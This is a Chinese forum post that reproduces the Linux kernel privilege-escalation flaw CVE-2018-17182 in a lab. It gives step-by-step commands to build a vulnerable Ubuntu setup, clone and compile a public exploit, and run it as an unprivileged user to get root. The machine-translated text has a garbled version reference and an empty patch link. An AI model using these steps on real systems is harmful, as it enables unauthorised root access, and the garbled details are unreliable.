標題:Linux kernel(CVE-2018-17182)提權漏洞復現

taibeihacker

Moderator

0x01 漏洞前言​

Google Project Zero的網絡安全研究人員發布了詳細信息,並針對自內核版本3.16到4.18.8以來Linux內核中存在的高嚴重性漏洞的概念驗證(PoC)漏洞利用。由白帽黑客Jann Horn發現,內核漏洞(CVE-2018-17182)是Linux內存管理子系統中的緩存失效錯誤,導致釋放後使用漏洞,如果被利用,可能允許攻擊者獲得根權限目標系統上的特權。免費使用後(UAF)漏洞是一類內存損壞錯誤,非特權用戶可利用這些錯誤來破壞或更改內存中的數據,從而導致拒絕服務(系統崩潰)或升級權限以獲得管理權限訪問系統Linux的內核漏洞於9月18日在OSS-安全郵件列表中公開,並在第二天在上游支持的穩定內核版本4.18.9,4.14.71,4.9.128和4.4.157中進行了修補。在58年3月16日版本中也有一個修復程序。為版本4.15.0-34.37的Ubuntu 18.04,內核linux-image-4.15.0-34-generic附加了一個醜陋的漏洞。它需(40min~1hour)在彈出root shell之前運行。

0x02 漏洞影响版本​

Linux kernel 4.18.8及之前版本

0x03 漏洞复现​

1.本次復現環境:ubuntu18.04*64 內核版本:linux-image-4.15.0-34-generic
qgyfaar0vcv23394.jpg

2.添加更新源
sudo vi /etc/apt/sources.list
deb-src https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/main restricted
0pgrsputnrk23395.jpg

3.更新操作系統
sudo apt-get update
4. 更新操作系統
sudo apt-get dist-upgrade
5. 安裝GCC和G++
sudo apt-get install gcc
sudo apt-get install g++
6.新建一個test賬號
bihynfc0hbb23396.jpg

7.下載利用exp
git clone https://github.com/backlion/CVE-2018-17182.git
8.進入到vmacache目錄,刪除已編譯好的文件。
rm puppet puppeteer suidhelper
qmr1auvm3kq23397.jpg

9.通過運行compile.sh進行編譯,當前目錄下會生成三個二進製文件分別為:puppet, puppeteer,suidhelper
2d4qnr3cvy423398.jpg

10.然後切換到普通用戶權限test:
vxolsi5ey3223399.jpg

11.執行二進制提權文件puppeteer,大約需要等1到1個半小時,最終看到從test權限提升為root權限。
h1bywljlzew23400.png

0x04漏洞修复建议​

目前廠商已發布升級補丁以修復漏洞,補丁獲取鏈接:
 
返回
上方